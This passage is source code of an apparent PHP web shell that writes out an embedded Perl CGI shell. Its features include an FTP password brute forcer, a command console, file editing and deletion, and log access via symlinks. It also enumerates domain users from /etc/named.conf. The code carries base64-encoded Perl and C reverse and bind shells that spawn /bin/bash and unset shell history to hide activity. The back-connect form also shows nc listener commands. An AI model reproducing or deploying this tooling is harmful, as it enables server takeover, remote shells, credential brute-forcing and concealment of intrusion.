Forcer\"/></td></tr>\n</form>\n</table>\nEND\nreturn \$result;\n}\n#------------------------------------------------------------------------------\n# Brute Forcer\n#------------------------------------------------------------------------------\nsub BruteForcer\n{\n\tmy \$result=\"\";\n\t\$Server=\$ENV{'SERVER_ADDR'};\n\tif(\$in{'user'} eq \"\")\n\t{\n\t\t\$result .= &BruteForcerForm;\n\t}else\n\t{\n\t\tuse Net::FTP; \n\t\t@user= split(/\\n/, \$in{'user'});\n\t\t@pass= split(/\\n/, \$in{'pass'});\n\t\tchomp(@user);\n\t\tchomp(@pass);\n\t\t\$result .= \"<br><br>[+] Trying brute \$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\n\t\tforeach \$username (@user)\n\t\t{\n\t\t\tif(!(\$username eq \"\"))\n\t\t\t{\n\t\t\t\tforeach \$password (@pass)\n\t\t\t\t{\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\n\t\t\t\t\t\t\$ftp->quit();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif(!(\$in{'sleep'} eq \"0\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}));\n\t\t\t\t\t}\n\t\t\t\t\t\$ftp->quit();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Backconnect Form\n#------------------------------------------------------------------------------\nsub BackBindForm\n{\n\treturn <<END;\n\t<br><br>\n\n\t<table>\n\t<tr>\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\n\t Port: <input type=\"text\" size=\"7\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\n\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span id=\"ba\">80</span></run></font></td>\n\n\t</tr>\n\t</table>\n\n\t<br><br>\n\t<table>\n\t<tr>\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\n\n\t Password: <input type=\"text\" size=\"15\" name=\"bindpass\" value=\"THIEUGIABUON\"></td>\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\n\n\t</tr>\n\t</table><br>\nEND\n}\n#------------------------------------------------------------------------------\n# Backconnect use perl\n#------------------------------------------------------------------------------\nsub BackBind\n{\n\tuse MIME::Base64;\n\tuse Socket;\t\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\n\n\t\$ClientAddr = \$in{'clientaddr'};\n\t\$ClientPort = int(\$in{'clientport'});\n\tif(\$ClientPort eq 0)\n\t{\n\t\treturn &BackBindForm;\n\t}elsif(!\$ClientAddr eq \"\")\n\t{\n\t\t\$Data=decode_base64(\$backperl);\n\t\tif(-w \"/tmp/\")\n\t\t{\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl backconnect.pl \$ClientAddr \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}else\n\t{\n\t\t\$Data=decode_base64(\$bindperl);\n\t\tif(-w \"/tmp\")\n\t\t{\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl bindport.pl \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}\n}\n#------------------------------------------------------------------------------\n#  Array List Directory\n#------------------------------------------------------------------------------\nsub RmDir(\$) \n{\n\tmy \$dir = shift;\n    if(opendir(DIR,\$dir))\n\t{\n\t\twhile(\$file = readdir(DIR))\n\t\t{\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\n\t\t\t{\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\n\t\t\t\tif(-d \$file)\n\t\t\t\t{\n\t\t\t\t\t&RmDir(\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tunlink(\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tclosedir(DIR);\n\t}\n\tif(!rmdir(\$dir))\n\t{\n\t\t\n\t}\n}\nsub FileOwner(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\n\t\tif(\$WinNT)\n\t\t{\n\t\t\treturn \"???\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$name=getpwuid(\$uid);\n\t\t\t\$group=getgrgid(\$gid);\n\t\t\treturn \$name.\"/\".\$group;\n\t\t}\n\t}\n\treturn \"???\";\n}\nsub ParentFolder(\$)\n{\n\tmy \$path = shift;\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\n\tchop(\$path = `\$Comm`);\n\treturn \$path;\n}\nsub FilePerms(\$)\n{\n\tmy \$file = shift;\n\tmy \$ur = \"-\";\n\tmy \$uw = \"-\";\n\tif(-e \$file)\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\n\t\t\treturn \$ur . \" / \" . \$uw;\n\t\t}else\n\t\t{\n\t\t\t\$mode=(stat(\$file))[2];\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\n\t\t\treturn \$result;\n\t\t}\n\t}\n\treturn \"0000\";\n}\nsub FileLastModified(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$la) = (stat(\$file))[9];\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\n\t\t\$y = \$y + 1900;\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\n\t\treturn \$lmtime;\n\t}\n\treturn \"???\";\n}\nsub FileSize(\$)\n{\n\tmy \$file = shift;\n\tif(-f \$file)\n\t{\n\t\treturn -s \$file;\n\t}\n\treturn \"0\";\n\n}\nsub ParseFileSize(\$)\n{\n\tmy \$size = shift;\n\tif(\$size <= 1024)\n\t{\n\t\treturn \$size. \" B\";\n\t}\n\telse\n\t{\n\t\tif(\$size <= 1024*1024) \n\t\t{\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\n\t\t\treturn \$size.\" KB\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\n\t\t\treturn \$size.\" MB\";\n\t\t}\n\t}\n}\nsub trim(\$)\n{\n\tmy \$string = shift;\n\t\$string =~ s/^\\s+//;\n\t\$string =~ s/\\s+\$//;\n\treturn \$string;\n}\nsub AddSlashes(\$)\n{\n\tmy \$string = shift;\n\t\$string=~ s/\\\\/\\\\\\\\/g;\n\treturn \$string;\n}\nsub ListDir\n{\n\tmy \$path = \$CurrentDir.\$PathSep;\n\t\$path=~ s/\\\\\\\\/\\\\/g;\n\tmy \$result = \"<form name='f' action='\$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\n\tif(-d \$path)\n\t{\n\t\tmy @fname = ();\n\t\tmy @dname = ();\n\t\tif(opendir(DIR,\$path))\n\t\t{\n\t\t\twhile(\$file = readdir(DIR))\n\t\t\t{\n\t\t\t\t\$f=\$path.\$file;\n\t\t\t\tif(-d \$f)\n\t\t\t\t{\n\t\t\t\t\tpush(@dname,\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tpush(@fname,\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir(DIR);\n\t\t}\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\n\n\t\t<tr style='background-color: #64489096'><th>File Name</th>\n\t\t<th style='width:100px;'>File Size</th>\n\t\t<th style='width:150px;'>Owner</th>\n\t\t<th style='width:100px;'>Permission</th>\n\t\t<th style='width:150px;'>Last Modified</th>\n\t\t<th style='width:260px;'>Action</th></tr>\";\n\t\tmy \$style=\"line\";\n\t\tmy \$i=0;\n\t\tforeach my \$d (@dname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$d = &trim(\$d);\n\t\t\t\$dirname=\$d;\n\t\t\tif(\$d eq \"..\") \n\t\t\t{\n\t\t\t\t\$d = &ParentFolder(\$path);\n\t\t\t}\n\t\t\telsif(\$d eq \".\") \n\t\t\t{\n\t\t\t\t\$d = \$path;\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t\$d = \$path.\$d;\n\t\t\t}\n\t\t\t\$result .= \"<tr class='\$style'>\n\n\t\t\t<td id='File_\$i' style='font: 11pt Verdana; font-weight: bold;'><a  href='?a=gui&d=\".\$d.\"'>[ \".\$dirname.\" ]</a></td>\";\n\t\t\t\$result .= \"<td>DIR</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$d).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$d).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"')\\\">Rename</a>  | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$dirname'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\tforeach my \$f (@fname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$file=\$f;\n\t\t\t\$f = \$path.\$f;\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' style='font: 11pt Verdana;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>\".\$file.\"</a></td>\";\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$f).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$f).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>Edit</a> | <a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$file','f')\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$file'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\t\$result .= \"</table></div>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Try to View List User\n#------------------------------------------------------------------------------\nsub ViewDomainUser\n{\n\topen (domains, '/etc/named.conf') or \$err=1;\n\tmy @cnzs = <domains>;\n\tclose d0mains;\n\tmy \$style=\"line\";\n\tmy \$result=\"<h5><font style='font: 15pt Verdana;color: #fff;'>Hoang Sa - Truong Sa</font></h5>\";\n\tif (\$err)\n\t{\n\t\t\$result .=  ('<p>C0uldn\\'t Bypass it , Sorry</p>');\n\t\treturn \$result;\n\t}else\n\t{\n\t\t\$result .= '<table><tr><th>Domains</th> <th>User</th></tr>';\n\t}\n\tforeach my \$one (@cnzs)\n\t{\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\n\t\t{\t\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$filename= \"/etc/valiases/\".\$one;\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\n\t\t\t\$result .= '<tr class=\"\$style\" width=50%><td>'.\$one.' </td><td> '.\$owner.'</td></tr>';\n\t\t}\n\t}\n\t\$result .= '</table>';\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# View Log\n#------------------------------------------------------------------------------\nsub ViewLog\n{\n\tif(\$WinNT)\n\t{\n\t\treturn \"<h2><font style='font: 20pt Verdana;color: #fff;'>Don't run on Windows</font></h2>\";\n\t}\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\n\tmy @pathlog=(\n\t\t\t\t'/usr/local/apache/logs/error_log',\n\t\t\t\t'/var/log/httpd/error_log',\n\t\t\t\t'/usr/local/apache/logs/access_log'\n\t\t\t\t);\n\tmy \$i=0;\n\tmy \$perms;\n\tmy \$sl;\n\tforeach my \$log (@pathlog)\n\t{\n\t\tif(-w \$log)\n\t\t{\n\t\t\t\$perms=\"OK\";\n\t\t}else\n\t\t{\n\t\t\tchop(\$sl = `ln -s \$log error_log_\$i`);\n\t\t\tif(&trim(\$ls) eq \"\")\n\t\t\t{\n\t\t\t\tif(-r \$ls)\n\t\t\t\t{\n\t\t\t\t\t\$perms=\"OK\";\n\t\t\t\t\t\$log=\"error_log_\".\$i;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{\n\t\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\n\t\t\t}\n\t\t}\n\t\t\$result .=<<END;\n\t\t<tr>\n\n\t\t\t<form action=\"\" method=\"post\">\n\t\t\t<td><input type=\"text\" onkeyup=\"document.getElementById('log_\$i').value='less ' + this.value;\" value=\"\$log\" size='50'/></td>\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\n\t\t\t<input type=\"hidden\" id=\"log_\$i\" name=\"c\" value=\"less \$log\"/>\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\" />\n\t\t\t</form>\n\t\t\t<td>\$perms</td>\n\n\t\t</tr>\nEND\n\t\t\$i++;\n\t}\n\t\$result .=\"</table>\";\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Main Program - Execution Starts Here\n#------------------------------------------------------------------------------\n&ReadParse;\n&GetCookies;\n\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\$LoginPassword = \$in{'p'};\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\$Action = \$in{'a'};\n\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\n\n# get the directory in which the commands will be executed\n\$CurrentDir = &trim(\$in{'d'});\n# mac dinh xuat thong tin neu ko co lenh nao!\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\n\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\n\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\n{\n\t&PerformLogin;\n}elsif(\$Action eq \"gui\") # GUI directory\n{\n\t&PrintPageHeader;\n\tif(!\$WinNT)\n\t{\n\t\t\$chmod=int(\$in{'chmod'});\n\t\tif(!(\$chmod eq 0))\n\t\t{\n\t\t\t\$chmod=int(\$in{'chmod'});\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\n\t\t\tchop(\$result= `chmod \$chmod \"\$file\"`);\n\t\t\tif(&trim(\$result) eq \"\")\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\n\t\t}\n\t}\n\t\$rename=\$in{'rename'};\n\tif(!\$rename eq \"\")\n\t{\n\t\tif(rename(\$TransferFile,\$rename))\n\t\t{\n\t\t\tprint \"<run> Done! </run><br>\";\n\t\t}else\n\t\t{\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t}\n\t}\n\t\$remove=\$in{'remove'};\n\tif(\$remove ne \"\")\n\t{\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\n\t\tif(-d \$rm)\n\t\t{\n\t\t\t&RmDir(\$rm);\n\t\t}else\n\t\t{\n\t\t\tif(unlink(\$rm))\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\t\t\t\n\t\t}\n\t}\n\tprint &ListDir;\n\n}\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\n{\n\t&PrintPageHeader(\"c\");\n\tprint &ExecuteCommand;\n}\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\n{\n\t&PrintPageHeader;\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\n\t{\n\t\tprint \"<run> Done! </run><br>\";\n\t}else\n\t{\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t}\n\tprint &ListDir;\n}\nelsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\n{\n\t&PrintPageHeader;\n\n\tprint &UploadFile;\n}\nelsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\n{\n\t&PrintPageHeader(\"clientport\");\n\tprint &BackBind;\n}\nelsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\n{\n\t&PrintPageHeader;\n\tprint &BruteForcer;\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\n{\n\tprint &DownloadFile;\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\n{\n\t&PrintPageHeader;\n\tprint &ViewLog;\n\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\n{\n\t&PrintPageHeader;\n\tprint &ViewDomainUser;\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\n{\n\t&PerformLogout;\n}\n&PrintPageFooter;");
                fwrite($htcgi, $isi_htcgi);
                chmod($file_cgi, 0755);
                chmod($memeg, 0755);
                echo "<br><br><center>[ Done ... <a href='telnet/cgi.new' target='_blank'>Click Here ]</a><br><br></div></center>";
                printFooter();
            }
            function actionConsole()
            {
                if (isset($_POST['ajax'])) {
                    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                    ob_start();
                    echo "document.cf.cmd.value='';\n";
                    $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']), "\n\r\t\\'\0"));
                    if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                        if (@chdir($match[1])) {
                            $GLOBALS['cwd'] = @getcwd();
                            echo "document.mf.c.value='" . $GLOBALS['cwd'] . "';";
                        }
                    }
                    echo "document.cf.output.value+='" . $temp . "';";
                    echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
                    $temp = ob_get_clean();
                    echo strlen($temp), "\n", $temp;
                    exit;
                }
                printHeader();
                echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\"\");\r\nvar cur = 0;\r\nfunction kp(e) {\r\n    var n = (window.Event) ? e.which : e.keyCode;\r\n    if(n == 38) {\r\n        cur--;\r\n        if(cur>=0)\r\n            document.cf.cmd.value = cmds[cur];\r\n        else\r\n            cur++;\r\n    } else if(n == 40) {\r\n        cur++;\r\n        if(cur < cmds.length)\r\n            document.cf.cmd.value = cmds[cur];\r\n        else\r\n            cur--;\r\n    }\r\n}\r\nfunction add(cmd) {\r\n    cmds.pop();\r\n    cmds.push(cmd);\r\n    cmds.push(\"\");\r\n    cur = cmds.length-1;\r\n}\r\n</script>";
                echo "<center><h1>Console</h1></center><div class=content><center><form name=cf onsubmit=\"if(document.cf.cmd.value=='clear'){document.cf.output.value='';document.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;\"><select name=alias>";
                foreach ($GLOBALS['aliases'] as $n => $v) {
                    if ($v == '') {
                        echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                        continue;
                    }
                    echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
                }
                if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
                }
                echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
                if (!empty($_POST['p1'])) {
                    echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . ex($_POST['p1']));
                }
                echo "</textarea><input type=text name=cmd style=\"border-top:1;width:100%;\" onkeydown=\"kp(event);\">";
                echo "</form></div><script>document.cf.cmd.focus();</script></center>";
                printFooter();
            }
            function actionLogout()
            {
                unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
                echo "<title>Get Lost</title><body bgcolor=#000000><center><br>\r\n<style type=\"text/css\">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href=\"http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html\" target=\"_blank\" title=\"Chrome Pointer\"><img src=\"http://cur.cursors-4u.net/cursor.png\" border=\"0\" alt=\"Chrome Pointer\" style=\"position:absolute; top: 0px; right: 0px;\" /></a>\r\n<span style=\"color:white;font: 15pt audiowide;\">Bye</span></center></body>";
            }
            function actionNetwork()
            {
                printHeader();
                $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
